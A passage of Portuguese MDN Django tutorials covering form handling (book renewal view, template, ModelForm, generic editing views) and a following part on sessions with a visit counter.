chave primária, e gera uma exceção `Http404` (não encontrada) se o registro não existir.\n* `HttpResponseRedirect`: Isso cria um redirecionamento para uma URL especificada (código de status HTTP 302).\n* `reverse()`: Isso gera uma URL a partir de uma configuração de nome de URL e um conjunto de argumentos. É o equivalente em Python da tag `url` que usamos em nossos *templates*.\n* `datetime`: Uma biblioteca Python para a manipulação de dadas e tempo.\n\nNa *view*, primeiro usamos o argumento `pk` em `get_object_or_404()` para obter o `BookInstance` atual (se isso não existir, a *view* será imediatamente encerrada e a página exibirá um erro \"não encontrada\"). Se essa não for uma solicitação `POST` (manipulada pela cláusula `else`) criamos o formulário padrão passando o valor `initial` para o campo `renewal_date` (como mostrado abaixo em negrito, isso é, 3 semanas a partir da data atual).\n\n\n```python\n    book_instance = get_object_or_404(BookInstance, pk=pk)\n\n    # If this is a GET (or any other method) create the default form\n    else:\n        proposed_renewal_date = datetime.date.today() + datetime.timedelta(weeks=3)\n        form = RenewBookForm(initial={'renewal\\_date': proposed_renewal_date})\n\n    context = {\n        'form': form,\n        'book\\_instance': book_instance,\n    }\n\n    return render(request, 'catalog/book\\_renew\\_librarian.html', context)\n```\n\n\nDepois de criar o *form*, chamamos `render()` para criar a página HTML, especificando o *template* e o *context* que contém o nosso *form*. Nesse caso, o *context* também contem nosso `BookInstance`, que usaremos no *template* para fornecer informações sobre o livro que estamos renovando.\n\nNo entenato, se essa for uma solicitação `POST` , criamos nosso objeto `form` e prenchemos com dados da requisição. Esse processo é chamado *\"binding\"* e permite validar o formulário. Em seguida, verificamos se o formulário é válido, que executa todo o código de validação em todos os campos — incluindo o código genérico para verificar se nosso campo de data é realmente uma data válida e a função específica `clean_renewal_date()` do nosso formulário para verificar se a data está na faixa certa.\n\n\n```python\n    book_instance = get_object_or_404(BookInstance, pk=pk)\n\n    # If this is a POST request then process the Form data\n    if request.method == 'POST':\n\n        # Create a form instance and populate it with data from the request (binding):\n        form = RenewBookForm(request.POST)\n\n        # Check if the form is valid:\n        if form.is_valid():\n            # process the data in form.cleaned\\_data as required (here we just write it to the model due\\_back field)\n            book_instance.due_back = form.cleaned_data['renewal\\_date']\n            book_instance.save()\n\n            # redirect to a new URL:\n            return HttpResponseRedirect(reverse('all-borrowed') )\n\n    context = {\n        'form': form,\n        'book\\_instance': book_instance,\n    }\n\n    return render(request, 'catalog/book\\_renew\\_librarian.html', context)\n```\n\n\nSe o formulário não é válido, chamamos `render()` novamente, mas dessa vez o valor passado de *form* no *context* incluirá mensagens de erro.\n\nSe o formulário é válido, então podemos começar a utilizar os dados, acessando-o por meio do atributo`form.cleaned_data` (Ex. `data = form.cleaned_data['renewal_date']`). Aqui, apenas salvamos os dados no atributo `due_back` do objeto `BookInstance` associado.\n\n**Aviso:** **Importante**: Embora você também possa acessar os dados do formulário diretamente por meio do *request* (por exemplo, `request.POST['renewal_date']` ou `request.GET['renewal_date']` se utilizando requisição GET), isso NÃO é recomendado. O dado limpo é \"higienizado\", validado, e convertido em tipo compatível com Python.\n\nA estapa final da manipulação de formulário na parte da *view* é redirecionar para outra página, geralmente uma página de \"êxito\". Nesse caso, usamos `HttpResponseRedirect` e `reverse()` para redirecionar para a *view* chamada `'all-borrowed'` (isso foi criado como desafio em Tutorial Django Parte 8: Autenticação de usuário e permissões (en-US)). Se você não criou está página considere redirecionar para a página principal na URL '/').\n\nIsso é tudo que é necessário para a manipulação do formulario, mas ainda precisamo restringir o acesso a *view* aos bibliotecários. Provavelmente devemos criar uma nova permissão em `BookInstance` (\"`can_renew`\"), mas, para simplificar as coisa aqui, apenas usamos o *decorator* da função\\*,\\* `@permission_required` com nossa permissão existente `can_mark_returned`.\n\nA *view* final, é portanto, como mostrado abaixo. Por favor, copie isso na parte inferior de **locallibrary/catalog/views.py**.\n```\n\nimport datetime\n\nfrom django.contrib.auth.decorators import permission_required\nfrom django.shortcuts import get_object_or_404\nfrom django.http import HttpResponseRedirect\nfrom django.urls import reverse\n\nfrom catalog.forms import RenewBookForm\n\n@permission_required('catalog.can_mark_returned')\ndef renew_book_librarian(request, pk):\n    \"\"\"View function for renewing a specific BookInstance by librarian.\"\"\"\n    book_instance = get_object_or_404(BookInstance, pk=pk)\n\n    # If this is a POST request then process the Form data\n    if request.method == 'POST':\n\n        # Create a form instance and populate it with data from the request (binding):\n        form = RenewBookForm(request.POST)\n\n        # Check if the form is valid:\n        if form.is_valid():\n            # process the data in form.cleaned_data as required (here we just write it to the model due_back field)\n            book_instance.due_back = form.cleaned_data['renewal_date']\n            book_instance.save()\n\n            # redirect to a new URL:\n            return HttpResponseRedirect(reverse('all-borrowed') )\n\n    # If this is a GET (or any other method) create the default form.\n    else:\n        proposed_renewal_date = datetime.date.today() + datetime.timedelta(weeks=3)\n        form = RenewBookForm(initial={'renewal_date': proposed_renewal_date})\n\n    context = {\n        'form': form,\n        'book_instance': book_instance,\n    }\n\n    return render(request, 'catalog/book_renew_librarian.html', context)\n```\n\n### O *template*\n\nCrie o *template* mencionado na *view* (**/catalog/templates/catalog/book\\_renew\\_librarian.html**) e copie o código abaixo nele:\n\n\n```html\n{% extends \"base_generic.html\" %}\n\n{% block content %}\n  <h1>Renew: {{ book_instance.book.title }}</h1>\n  <p>Borrower: {{ book_instance.borrower }}</p>\n  <p{% if book_instance.is_overdue %} class=\"text-danger\"{% endif %}>Due date: {{ book_instance.due_back }}</p>\n\n  <form action=\"\" method=\"post\">\n    {% csrf_token %}\n    <table>\n    {{ form.as_table }}\n    </table>\n    <input type=\"submit\" value=\"Submit\">\n  </form>\n{% endblock %}\n```\n\n\nA maior parte disso será totalmente familiar dos tutoriais anteriores. Estendemos o *template* base e então redefinimos o bloco *content*. Somos capazes de referenciar `{{ book_instance }}` (e suas variáveis) porque foi passado no objeto *context* na função `render()`, e nós as usamos para listar o título do livro, tomador do empréstimo, e a data de devolução original.\n\nO código do formulário é relativamente simples. Primeiro, declaramos a tag `form`, especificando onde o formulário deve ser submetido (`action`) e o `method` para submeter os dados (nesse caso, um \"HTTP POST\") — se você lembrar da visão geral de Formulários HTML na parte superior da página, uma `action` vazia, como mostrada, significa que os dados do formulário serão postados de volta para a URL atual da página (que é o que queremos!). Dentro das tags, definimos a entrada `submit`, que um usuário pode apertar para submeter os dados. O `{% csrf_token %}` adicionado apenas dentro das tags do formulário é parte da proteção de falsificação ente sites (cross-site forgery protection) do Django.\n\n**Nota:** Adicione o `{% csrf_token %}` para todos os *templates* Django que você cria que utiliza `POST` para submeter dados. Isso reduzirá a chance de que os formulários sejam invadidos por usuários maliciosos.\n\nTudo que resta é a variável `{{ form }}` do *template*, que passamos para o *template* no dicionário *context*. Talvez, sem supresa, quando usado como mostrado, isto fornece a renderização padrão de todos os campos do formulário, incluindo seus *labels*, *widgets* e texto de ajuda — a renderização é como mostrado abaixo:\n\n\n```html\n<tr>\n  <th><label for=\"id\\_renewal\\_date\">Renewal date:</label></th>\n  <td>\n    <input\n id=\"id\\_renewal\\_date\"\n name=\"renewal\\_date\"\n type=\"text\"\n value=\"2016-11-08\"\n required />\n    <br />\n    <span class=\"helptext\"\n >Enter date between now and 4 weeks (default 3 weeks).</span\n >\n  </td>\n</tr>\n```\n\n\n**Nota:** Talvez não seja óbvio porque temos apenas um campo, mas, por padrão, todo campo é definido em sua própria linha de tabela. Essa mesma renderização é fornecida se você referenciar a váriavel de *template* `{{ form.as_table }}`.\n\nSe você fosse inserir uama data inválida, você também obteria uma lista dos erros renderizados na página (mostrado em negrito abaixo).\n\n\n```html\n<tr>\n  <th><label for=\"id\\_renewal\\_date\">Renewal date:</label></th>\n  <td>\n    <ul class=\"errorlist\">\n      <li>Invalid date - renewal in past</li>\n    </ul>\n    <input\n id=\"id\\_renewal\\_date\"\n name=\"renewal\\_date\"\n type=\"text\"\n value=\"2015-11-08\"\n required />\n    <br />\n    <span class=\"helptext\"\n >Enter date between now and 4 weeks (default 3 weeks).</span\n >\n  </td>\n</tr>\n```\n\n\n#### Outras maneiras de usar variável de formulário de *template*\n\nUsando `{{ form.as_table }}` como mostrado acima, cada campo é renderizado como uma linha da tabela. Você também pode renderizar cada campo como um item da lista (usando `{{ form.as_ul }}` ) como um parágrafo (usando `{{ form.as_p }}`).\n\nTambém é possível ter controle completo sobre a renderização de cada parte do formulário, indexando suas propriedades usando notação de ponto. Assim, por exemplo, podemos acessar vários itens separados pelo nosso campo `renewal_date`:\n\n* `{{ form.renewal_date }}:` O campo todo.\n* `{{ form.renewal_date.errors }}`: A lista de erros.\n* `{{ form.renewal_date.id_for_label }}`: O id do *label*.\n* `{{ form.renewal_date.help_text }}`: O texto de ajuda do campo.\n\nPara mais exemplos de como renderizar formulários manualmente em *templates* e fazer loop nos campos de *templates*, veja Trabalhando com formulários > Renderizando campos manualmente (Django docs).\n\n### Testando a página\n\nSe você aceitou o \"desafio\" em Tutorial Django Parte 8: Autenticação de usuário e permissões (en-US) você terá uma lista de todos os livros emprestados na biblioteca, que é visível apenas aos funcionários da biblioteca. Podemos adicionar um *link* para nossa página de renovação ao lado de cada item, usando o código de modelo abaixo.\n\n\n```django\n{% if perms.catalog.can\\_mark\\_returned %}-\n  <a href=\"{% url 'renew-book-librarian' bookinst.id %}\">Renew</a>\n{% endif %}\n```\n\n\n**Nota:** Lembre que seu login de teste precisará ter a permissão \"`catalog.can_mark_returned`\" para acessar a página de renovação de livro (talvez use sua conta de superusuário).\n\nVocê pode, alternativamente, construir manualmente uma URL de teste como esta — `http://127.0.0.1:8000/catalog/book/<bookinstance_id>/renew/`) (um id válido de *bookinstance* pode ser obtido navegando para a página de detalhes de um livro em sua biblioteca, e copiando o campo`id`).\n\n### Com o que se parece?\n\nSe você tiver sucesso, o formulário padrão será semelhante a este:\n\n![](/pt-BR/docs/Learn/Server-side/Django/Forms/forms_example_renew_default.png)\n\nO formulário com um valor inválido inserido terá a seguinte aparência:\n\n![](/pt-BR/docs/Learn/Server-side/Django/Forms/forms_example_renew_invalid.png)\n\nA lista de todos os livros com o link de renovação será assim:\n\n![](/pt-BR/docs/Learn/Server-side/Django/Forms/forms_example_renew_allbooks.png)\n\nModelForms\n----------\n\nCriar uma classe`Form` usando a abordagem descrita acima é muito flexível, permitindo criar qualquer tipo de página de formulário que você desejar e associá-la a qualquer modelo ou modelos.\n\nContudo, se você só precisa de um formulário para mapear os campos de um único modelo, então seu modelo já definirá a maioria das informações que vocÊ precisa em seu formulário: campos, rótulos, texto de ajuda, etc. Em vez de recriar as definições do modelo em seu formulário, é mais fácil usar a classe auxiliar ModelForm para criar o formulário a partir do seu modelo. Esse `ModelForm` pode ser usado em suas *views* exatamente da mesma maneira como um `Form` comum.\n\nUma `ModelForm` contém o mesmo campo que nossa `RenewBookForm` original, como mostrado abaixo. Tudo que você precisa fazer para criar o formulário é adicionar `class Meta` com o `model` (`BookInstance`) associado e uma lista dos `fields` do modelo a serem incluídos no formulário (você pode incluir todos os campos usando `fields = '__all__'`, ou pode usar `exclude` (em vez de `fields`) para especificar os campos do modelo a não incluir).\n\n\n```python\nfrom django.forms import ModelForm\n\nfrom catalog.models import BookInstance\n\nclass RenewBookModelForm(ModelForm):\n    class Meta:\n        model = BookInstance\n        fields = ['due\\_back']\n```\n\n\n**Nota:** Isso pode não parecer muito mais simples do que apenas usar um `Form` (e não é nesse caso, porque temos apenas um campo). No entanto, se você tiver muitos campos, isso pode reduzir a quantidade de código significativamente!\n\nO restante das informações vem das definições de campo do modelo (ex. rótulos, *widgets*, texdo de ajuda, mensagens de erro). Se isso não for suficiente, então podemos substituí-los em nossa `class Meta`, especificando um dicionário contendo o campo para mudar e seu novo valor. Por exemplo, neste formulário podemos querer um rótulo para nosso campo de \"*Renewal date*\" (em vez do padrão baseado no padrão com base no nome do campo: *Due Back*), e também queremos que nosso campo de ajuda seja específico para esse caso de uso. A `Meta` abaixo mostra como substituir esses campos, e você pode definir `widgets` and `error_messages` da mesma forma, se os padrões não forem suficientes.\n\n\n```python\nclass Meta:\n    model = BookInstance\n    fields = ['due\\_back']\n    labels = {'due\\_back': _('New renewal date')}\n    help_texts = {'due\\_back': _('Enter a date between now and 4 weeks (default 3).')}\n```\n\n\nPara adicionar validação você pode usar a mesma abordagem como uma `Form` normal — você define uma função chamada `clean_field_name()` e *raise* a exceção `ValidationError` para valores inválidos. A única diferença em relação ao nosso *form* original é que o campo do modelo é chamdo `due_back` e não \"`renewal_date`\". Essa mudança é necessária pois o campo correspondente em `BookInstance` é chamado `due_back`.\n\n\n```python\nfrom django.forms import ModelForm\n\nfrom catalog.models import BookInstance\n\nclass RenewBookModelForm(ModelForm):\n    def clean\\_due\\_back(self):\n       data = self.cleaned_data['due\\_back']\n\n       # Check if a date is not in the past.\n       if data < datetime.date.today():\n           raise ValidationError(_('Invalid date - renewal in past'))\n\n       # Check if a date is in the allowed range (+4 weeks from today).\n       if data > datetime.date.today() + datetime.timedelta(weeks=4):\n           raise ValidationError(_('Invalid date - renewal more than 4 weeks ahead'))\n\n       # Remember to always return the cleaned data.\n       return data\n\n    class Meta:\n        model = BookInstance\n        fields = ['due\\_back']\n        labels = {'due\\_back': _('Renewal date')}\n        help_texts = {'due\\_back': _('Enter a date between now and 4 weeks (default 3).')}\n```\n\n\nA classe `RenewBookModelForm` acima agora é funcionalmente equivalente a nossa original `RenewBookForm`. Você poderia importar e usar onde quer que você use `RenewBookForm` desde que você também atualize o nome da variável do formulário correspondente de `renewal_date` para `due_back` como na segunda declaração do formulário: `RenewBookModelForm(initial={'due_back': proposed_renewal_date}`.\n\nViews genéricas de edição\n-------------------------\n\nO algoritmo de manipulação de formulários que usamos em nosso exemplo de função *view* acima, representa um padrão extremamente comum nas *views* de edição de formulário. Django abstrai grande parte desse \"*boilerplate*\" (trabalho repetitivo) para você, criando views genéricas de edição para views de criação, edição e exclusão baseadas em modelos. Não apenas lidam com o comportamento de visualização, mas também criam automaticamente para você a classe de formulário (uma `ModelForm`) a partir do modelo.\n\n> \n> \\*\\*Nota:\\*\\*Além das *views* de edição descritas aqui, há também uma classe FormView, que fica em algum lugar entre nossa função *view* e outra *view* genérica em termos de \"flexibilidade\" vs \"esforço de codificação\". Usando `FormView`, você ainda precisa criar seu `Form`, mas não precisa implementar todos os padrões de manipulação de formulário. Em vez disso, você tem apenas que fornecer uma implementação da função que será chamada assim que o envio for válido.\n> \n> \n> \n\nNessa seção vamos usar *views* genericas de edição para criar páginas para adicionar funcionalidades para criar, editar e excluir registros de `Author` da nossa biblioteca — fornecendo efetivamente uma reimplementação básica de parte do site *Admin* (isso poderá ser útil se você precisa oferecer funcionalidades de administrador de uma maneira mais flexível que possa ser fornecida pelo dite *Admin*).\n\n### *Views*\n\nAbra o arquivo das *views* (**locallibrary/catalog/views.py**) e acrescente o seguinte bloco de código na parte inferior:\n\n\n```python\nfrom django.views.generic.edit import CreateView, UpdateView, DeleteView\nfrom django.urls import reverse_lazy\n\nfrom catalog.models import Author\n\nclass AuthorCreate(CreateView):\n    model = Author\n    fields = '\\_\\_all\\_\\_'\n    initial = {'date\\_of\\_death': '05/01/2018'}\n\nclass AuthorUpdate(UpdateView):\n    model = Author\n    fields = ['first\\_name', 'last\\_name', 'date\\_of\\_birth', 'date\\_of\\_death']\n\nclass AuthorDelete(DeleteView):\n    model = Author\n    success_url = reverse_lazy('authors')\n```\n\n\nComo você pode ver, para criar, atualizar e excluir as *views*, você precisa derivar de `CreateView`, `UpdateView`, e `DeleteView` (respectivamente) e então definir o modelo associado.\n\nPara os casos \"criar\" e \"atualizar\" você também precisa especificar os campos para mostrar no formulário (usando a mesma sintaxe que para `ModelForm`). Nesse caso, nós mostramos ambas as sintaxes para mostrar todos (*\"all\"*) campos e como você pode listar eles individualmente. Você também pode especificar valores iniciais para cada campo usando um dicionário com pares nome\\_campo/valor (aqui, arbitrariamente, definimos a data de morte para fins de demonstração — talvez você queira remover isso!). Por padrão, essas *views* irão redirecionar, se houver sucesso, para uma página mostrando o item do modelo recentemente criado/editado, que no nosso caso será a página de visualização de detalhes do autor que criamos em um tutorial anterior. Você pode especificar ums local de redirecionamento alternativo, declarando explicitamente o parâmetro `success_url` (como feito na classe `AuthorDelete`).\n\nA classe `AuthorDelete` não precisa mostrar nenhum dos campos, então eles não precisam ser especificados. No entanto, você precisa especificar a `success_url`, porque não há um valor padrão óbvio para o Django usar. Nesse caso, usamos a função `reverse_lazy()` para redirecioanr para nossa lista de autores depois que um autor é excluido — `reverse_lazy()` é uma versão executada \"preguiçosamente\" de `reverse()`, usada aqui porque estamos fornecendo uma URL para um atributo baseado em classe de *view*.\n\n### Templates\n\nAs views \"create\" e \"update\" usam o mesmo template por padrão, que serão nomeadas seguindo o modelo: `model_name_form.html` (você pode mudar o sufixo para algo diferente de **\\_form** usando o campo `template_name_suffix` em sua view, ex. `template_name_suffix = '_other_suffix'`)\n\nCrie o arquivo de *template* **locallibrary/catalog/templates/catalog/author\\_form.html** e copie o texto abaixo.\n\n\n```django\n{% extends \"base\\_generic.html\" %}\n\n{% block content %}\n  <form action=\"\" method=\"post\">\n    {% csrf\\_token %}\n    <table>\n    {{ form.as\\_table }}\n    </table>\n    <input type=\"submit\" value=\"Submit\">\n  </form>\n{% endblock %}\n```\n\n\nIsso é semelhante aos nossos formulários anteriores e renderiza os campos usando uma tabela. Note também como novamente declaramos o `{% csrf_token %}` para garantir que nossos formulários são resistentes a ataques CSRF.\n\nA *view* \"delete\" espera encontrar um *template* nomeado com o formato `model_name_confirm_delete.html` (novamente, você pode mudar o sufixo usando `template_name_suffix` em sua *view*). Crie o arquivo de *template* `locallibrary/catalog/templates/catalog/author_confirm_delete.html` e copie o texto abaixo.\n\n\n```django\n{% extends \"base\\_generic.html\" %}\n\n{% block content %}\n  <h1>Delete Author</h1>\n\n  <p>Are you sure you want to delete the author: {{ author }}?</p>\n\n  <form action=\"\" method=\"POST\">\n    {% csrf\\_token %}\n    <input type=\"submit\" value=\"Yes, delete.\" />\n  </form>\n{% endblock %}\n```\n\n### URL configurations\n\nAbra seu arquivo de configuração de URL (**locallibrary/catalog/urls.py**) e adicione a seguinte configuração no final do arquivo:\n\n\n```python\nurlpatterns += [\n    path('author/create/', views.AuthorCreate.as_view(), name='author\\_create'),\n    path('author/<int:pk>/update/', views.AuthorUpdate.as_view(), name='author\\_update'),\n    path('author/<int:pk>/delete/', views.AuthorDelete.as_view(), name='author\\_delete'),\n]\n```\n\n\nNão há nada particularmente novo aqui! Você pode ver que as *views* são classes, e portanto devem ser chamadas via `.as_view()`, e você deve poder reconhecer os padrões URL em cada caso. Devemos usar `pk` como o nome para nosso valor capturado de chave primária (*primary key*), como esse é o nome do parâmetro esperado pelas classes *view*.\n\nAs páginas de criação, atualização e remoção de autor agora estão prontas para teste (neste caso, não nos incomodaremos em conectá-las a barra lateral do site, embora você possa fazer se desejar).\n\n**Nota:** Usuários observadores devem ter notado que não fizemos nada para previnir que usuários não autorizadosde acessem as páginas! Deixamos isso como um exercício para você (dica: você pode usar `PermissionRequiredMixin` e criar uma nova permissão ou reutilizar nossa permissão `can_mark_returned`).\n\n### Testando a página\n\nPrimeiro, efetue login no site com uma conta que possua as permissões que você decidiu que são necessárias para acessar a página de edição de autor.\n\nEntão navegue para a página de criação de autor: `http://127.0.0.1:8000/catalog/author/create/`, que deve parecer como a captura de tela abaixo.\n\n![Form Example: Create Author](/pt-BR/docs/Learn/Server-side/Django/Forms/forms_example_create_author.png)\n\nEntre com valores para os campos e então pressione **Submit** para dalvar o registro de autor. Você agora deve ser direcionado para uma visualização detalhada para o seu novo autor, com uma URL de algo como `http://127.0.0.1:8000/catalog/author/10`.\n\nVocê pode testar edição de registros enexando */update/* ao final da URL da página de detalhe (ex. `http://127.0.0.1:8000/catalog/author/10/update/`) — não mostramos uma captura de tela, porque se parace com a página de criação\n\nFinalmente, podemos excluir a página anexando *delete* ao final da URL da visualização detalhada do autor (ex. `http://127.0.0.1:8000/catalog/author/10/delete/`). Django deve exibir a página de exclusão mostrada abaixo. Pressione **Yes, delete.** para remover o registro e ser levado para a lista de todos os autores.\n\n![](/pt-BR/docs/Learn/Server-side/Django/Forms/forms_example_delete_author.png)\n\nDesafie-se\n----------\n\nCrie alguns *forms* para criar, editar e excluir registros de `Book`. Você pode utilizar exatamente a mesma estrutura que a de `Authors`. Se seu *template* **book\\_form.html** é apenas uma cópia renomeada de **author\\_form.html** , então a nova página \"criar livro\" será semelhante a captura de tela abaixo:\n\n![](/pt-BR/docs/Learn/Server-side/Django/Forms/forms_example_create_book.png)\n\nResumo\n------\n\nCriar e manipular formulários pode ser um processo complicado! Django torna muito mais fácil fornecendo mecanismos programáticos para declarar, renderizar e validar formulários. Além disso, Django fornece *views* genéricas de edição de formulário, isso pode fazes quase todo trabalho para definir páginas que podem criar, editar e excluir registros associados com uma única instância de *model.*\n\nHá muito mais que pode ser feito com formulários (confira abaixo nossa lista Veja também), mas agora você deve entender como adicionar formulários básicos e o código de manipulação de formulários para seus próprios websites.\n\nVeja também\n-----------\n\n* Trabalhando com formulários (Django docs)\n* Escrevendo seu primeiro *app* Django, parte 4 > Escrevendo um formulário simples (Django docs)\n* A API *Forms* (Django docs)\n* Form fields (Django docs)\n* Formulários e validação de campos (Django docs)\n* Manipulação de formulários com *views* baseadas em classe (Django docs)\n* Criando formulários com *models* (Django docs)\n* Views genéricas de edição (Django docs)\n* Anterior  (en-US)\n* Menu: Django\n* Próxima"}
{"title":"Tutorial Django Parte 7: Sessões - Aprendendo desenvolvimento web","text":"Tutorial Django Parte 7: Sessões\n================================\n\n* Anterior\n* Menu: Django\n* Próxima  (en-US)\n\nEsse tutorial estende nosso site LocalLibrary, adicionando um contador de visitas baseado em sessões à página inicial. Esse é um exemplo relativamente simples, mas capaz de mostrar como você pode usar a estrutura de sessão do framework para providenciar um comportamento persistente para usuários anônimos em seu próprio site.\n\n|  |  |\n| --- | --- |\n| Pré-requisitos: | \n Completar todos os tópicos anteriores do tutorial, incluindo\n Django Tutorial Part 6: Generic list and detail views |\n| Objetivo: | Entender como as sessões são usadas. |\n\nVisão Geral\n-----------\n\nO site LocalLibrary que criamos nos tutoriais anteriores permite que os usuarios busquem por livros e autores no catálogo. Enquanto o conteúdo é dinamicamente gerado a partir da base de dados, todos os usuários terão acessos às mesmas páginas e às mesmas informações quando acessarem o site.\n\nEm uma biblioteca \"real\", você pode querer fornecer uma experiência personalizada para cada usuário, com base no uso anterior do site, nas preferências, etc. Por exemplo, você pode ocultar mensagens de aviso que o usuário reconheceu anteriormente na próxima visita deles ao site ou armazenar e respeitar suas preferências (por exemplo, o número de resultados de pesquisa que eles querem exibir em cada página).\n\nA estrutura da sessão permite implementar esse tipo de comportamento, permitindo que você armazene e recupere dados arbitrários baseados em cada visitante do site.\n\nO que são sessões?\n------------------\n\nToda a comunicação entre os navegadores web e os servidores é feita via protocolo HTTP, qual é *stateless* (sem estados). O fato do protocolo ser stateless significa que as mensagens entre o cliente e o servidor são completamente independentes uma da outra — não há uma noção de \"sequência\" ou comportamento diferente baseado nas mensagens anteriores. Como resultado, se você quiser ter um site que monitore os relacionamentos contínuos com um cliente, é necessário implementá-lo por conta própria.\n\nSessões são o mecanismo usado pelo Django (e muitos outros na Internet) para monitorar o \"estado\" entre o site e um navegador web em particular. Sessões permitem que você armazene dados arbitrários por navegador web, e têm esse dado disponível no site sempre que o navegador conectar. Dados de itens individuais associados com a sessão são referenciados por uma \"chave\", que é usada para armazenar e recuperar os dados.\n\nO Django usa um cookie contendo um *identificador* especial de sessão para identificar cada navegador e associar com o site. Os dados da sessão atual são armazenados na base de dados do site por padrão (é mais seguro do que armazenar os dados em cookie, onde é mais vulnerável aos usuários perigosos). Você pode configurar o Django para armazenar os dados da sessão em outros lugares (cache, arquivos, cookies \"seguros\"), mas o local padrão é uma opção boa e relativamente \"segura\".\n\nHabilitando as Sessões\n----------------------\n\nAs sessões foram ativadas automaticamente quando criamos o esqueleto do site (no tutorial 2).\n\nA configuração e feita nas seções `INSTALLED_APPS` e `MIDDLEWARE` do arquivo (**locallibrary/locallibrary/settings.py**), exibidas a seguir:\n\n\n```python\nINSTALLED_APPS = [\n    ...\n    'django.contrib.sessions',\n    ....\n\nMIDDLEWARE = [\n    ...\n    'django.contrib.sessions.middleware.SessionMiddleware',\n    ....\n```\n\nUsando Sessões\n--------------\n\nVocê pode acessar o atributo `session` na view a partir do parâmetro `request` (um `HttpRequest` passado como primeiro argumento na view). Esse atributo de sessão representa a conexão atual específica com um usuário (ou, para ser mais preciso, a conexão com o navegador atual, conforme identificado pelo id da sessão no cookie do navegador para este site).\n\nO atributo `session` é como um objeto dicionário que você pode ler e escrever quantas vezes você quiser na sua view, modificando-o como desejar. Você pode fazer todas as operações normais de um dicionário, incluindo limpar todos os dados, testar se uma chave está presente, iterar (loop) em torno dos dados, etc. Na maior parte do tempo, você usará apenas a API padrão \"dictionary\" para obter e setar valores.\n\nO fragmento de código abaixo mostra como você pode obter, setar e deletar qualquer dado com com a chave \"`my_car`\", associada com a sessão atual (navegador).\n\n**Nota:** Uma das coisas boas sobre o Django é que você não precisa pensar sobre os mecanismos que vinculam a sessão atual à requisição em sua view. Se nós usarmos os fragmentos abaixo em nossa view, saberemos que as informações sobre `my_car` estão associadas apenas com o navegador que enviou a requisição atual.\n\n\n```python\n# Pega um valor de sessão baseado na sua chave (ex.:'my\\_car'), disparando um KeyError se a chave não for encontrada.\nmy_car = request.session['my\\_car']\n\n# Pega o valor da sessão, seta o valor padrão ('mini') se a chave não estiver presente.\nmy_car = request.session.get('my\\_car', 'mini')\n\n# Seta o valor da sessão\nrequest.session['my\\_car'] = 'mini'\n\n# Deleta o valor da sessão\ndel request.session['my\\_car']\n```\n\n\nA API também oferece um número de outros métodos que são muito usados para gerenciar os cookies da sessão associada. Por exemplo, há métodos para testar se cookies são suportados no navegador do cliente, para setar e checar a data de validade do cookie, e para limpar sessões expiradas do armazenamento de dados. Você pode encontrar sobre a API completa em How to use sessions (documentação do Django).\n\nSalvando os dados da sessão\n---------------------------\n\nPor padrão, o Django só salva na base de dados da sessão e envia o cookie da sessão para o cliente quando a sessão é *modificada* (atribuída) ou *deletada*. Se você está atualizando alguns dados utilizando sua chave de sessão, como mostrado na seção anterior, então você não precisa se preocupar com isso! Por exemplo:\n\n\n```python\n# Isso é detectado como uma atualização na session, então os dados de session são salvos.\nrequest.session['my\\_car'] = 'mini'\n```\n\n\nSe você está atualizando algumas informações *dentro* dos dados da sessão, então o Django não reconhecerá que você fez uma alteração nos dados da sessão e não salvará os dados (por exemplo, se você alterasse os dados de \"`wheels`\" dentro dos dados do seu \"`my_car`\", como mostrado abaixo). Nesse caso você precisará marcar explicitamente a sessão como tendo sido modificada.\n\n\n```python\n# Objeto session não modificado diretamente, apenas o dado de dentro da session. Mudanças na session não salvas!\nrequest.session['my\\_car']['wheels'] = 'alloy'\n\n# Marcar a session como modificada para que force a atualização dos dados/cookie para que sejam salvos.\nrequest.session.modified = True\n```\n\n\n**Nota:** Você pode mudar o comportamento do site para atualizar a base de dados/enviar cookie em qualquer requisição adicionando `SESSION_SAVE_EVERY_REQUEST = True` nas configurações (**locallibrary/locallibrary/settings.py**) do seu projeto.\n\nExemplo simples - obtendo a contagem de visitas\n-----------------------------------------------\n\nComo um exemplo simples do mundo real, atualizaremos nossa biblioteca para informar ao usuário atual quantas vezes ele visitou o site *LocalLibrary*.\n\nAbra **/locallibrary/catalog/views.py**, e faça as alterações mostradas em negrito abaixo.\n\n\n```python\ndef index(request):\n    ...\n\n    num_authors = Author.objects.count()  # The 'all()' is implied by default.\n\n    # Number of visits to this view, as counted in the session variable.\n    num_visits = request.session.get('num\\_visits', 0)\n    request.session['num\\_visits'] = num_visits + 1\n\n    context = {\n        'num\\_books': num_books,\n        'num\\_instances': num_instances,\n        'num\\_instances\\_available': num_instances_available,\n        'num\\_authors': num_authors,\n        'num\\_visits': num_visits,\n    }\n\n    # Render the HTML template index.html with the data in the context variable.\n    return render(request, 'index.html', context=context)\n```\n\n\nAqui primeiro obtemos o valor da *session key* `'num_visits'`, setando o valor para 0 se não tiver sido definido anteriormente. Cada vez que uma requisição é recebida, nós então incrementamos o valor e armazenamos novamente na sessão (para a próxima vez que o usuário visitar a página). A variável `num_visits` é então passada para o *template* na nossa variável *context*.\n\n**Nota:** Também podemos testar se os cookies são suportados no navegador (veja Como usar sessões para exemplos) ou projetar nossa UI (interface do usuário) para que não se importe se os *cookies* são ou não suportados.\n\nAdicione a linha vista na parte inferior do bloco a seguir ao seu *template* HTML principal (**/locallibrary/catalog/templates/index.html**) na parte inferior da sessão *\"Dynamic content\"*, para exibir a variável *context*:\n\n\n```django\n<h2>Dynamic content</h2>\n\n<p>The library has the following record counts:</p>\n<ul>\n  <li><strong>Books:</strong> {{ num\\_books }}</li>\n  <li><strong>Copies:</strong> {{ num\\_instances }}</li>\n  <li><strong>Copies available:</strong> {{ num\\_instances\\_available }}</li>\n  <li><strong>Authors:</strong> {{ num\\_authors }}</li>\n</ul>\n\n<p>\n  You have visited this page {{ num\\_visits }}{% if num\\_visits == 1 %} time{%\n else %} times{% endif %}.\n</p>\n```\n\n\nSalve suas alterações e reinicie o servidor de teste. Sempre que você atualiza a página, o número deve ser atualizado.\n\nResumo\n------\n\nAgora você sabe como é fácil utilizar sessões para melhorar sua interação com usuários anônimos.\n\nEm nosso próximo artigo nós iremos explicar a estrutura de autenticação e autorização (permissão), e mostrar como oferecer suporte a contas de usuário.\n\nVeja também\n-----------\n\n* Como usar sessões (Django docs)\n* Anterior\n* Menu: Django\n* Próxima"}
